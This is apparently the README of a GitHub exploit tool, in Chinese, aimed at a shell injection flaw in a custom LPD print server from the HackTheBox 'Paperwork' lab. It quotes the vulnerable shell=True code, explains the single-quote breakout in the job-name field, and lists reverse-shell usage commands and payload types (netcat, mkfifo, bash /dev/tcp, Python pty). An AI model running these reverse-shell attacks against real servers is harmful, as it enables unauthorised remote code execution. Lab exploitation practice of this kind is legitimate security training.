Noz2/Digital-Archiving-Solutions-v1.02-RCE
GitHub: Noz2/Digital-Archiving-Solutions-v1.02-RCE
针对自定义 LPD 服务器 shell 注入漏洞的精准 Python 漏洞利用工具,通过单引号突破作业名称字段实现远程代码执行。
Stars: 0 | Forks: 0
# LPD Shell 注入 — RCE 漏洞利用 (RFC 1179)
一个精准的 Python 漏洞利用程序,针对自定义 LPD (Line Printer Daemon) 服务器中的 shell 注入漏洞。
测试环境:**HackTheBox — Paperwork**
## 这是什么?
易受攻击的服务器会将未经过滤的打印作业名称直接传递给 shell 命令:
```
subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)
```
这允许通过 **单引号突破** 来实现远程代码执行 (RCE):
## 用法
```
# 自动尝试所有 reverse shell payloads
python3 poc.py TARGET --lhost YOUR_IP --lport 443
# 单个特定 payload
python3 poc.py TARGET --lhost YOUR_IP --lport 443 --payload mkfifo
# 测试 RCE 而无需 listener(在目标上写入 /tmp/rce_proof.txt)
python3 poc.py TARGET --proof
```
## 可用的 Payload
| 标志 | 方法 |
|------|--------|
| `mkfifo` | mkfifo + netcat(最稳定) |
| `nc_e` | 带有 -e 标志的 netcat |
| `nc_c` | 带有 -c 标志的 netcat |
| `python3` | Python3 socket + pty shell |
| `python` | Python2 socket + pty shell |
| `bash` | bash /dev/tcp 重定向 |
## 协议详情 (RFC 1179 / LPD)
- 默认通过 **1515** 端口连接到目标
- 将打印作业发送到 `archive_intake` 队列
- 将 payload 注入到 LPD 控制文件的 `J` (作业名称) 字段中
- 服务器通过 `subprocess.Popen(..., shell=True)` 执行注入的命令
## 环境要求
```
pip install nothing # pure Python, no dependencies
python3 poc.py --help
```
## 免责声明
仅供**授权测试**使用。专为 HackTheBox 实验室环境构建。
标签:LPD协议, Python, Shell注入, 无后门, 编程工具, 远程代码执行, 逆向工具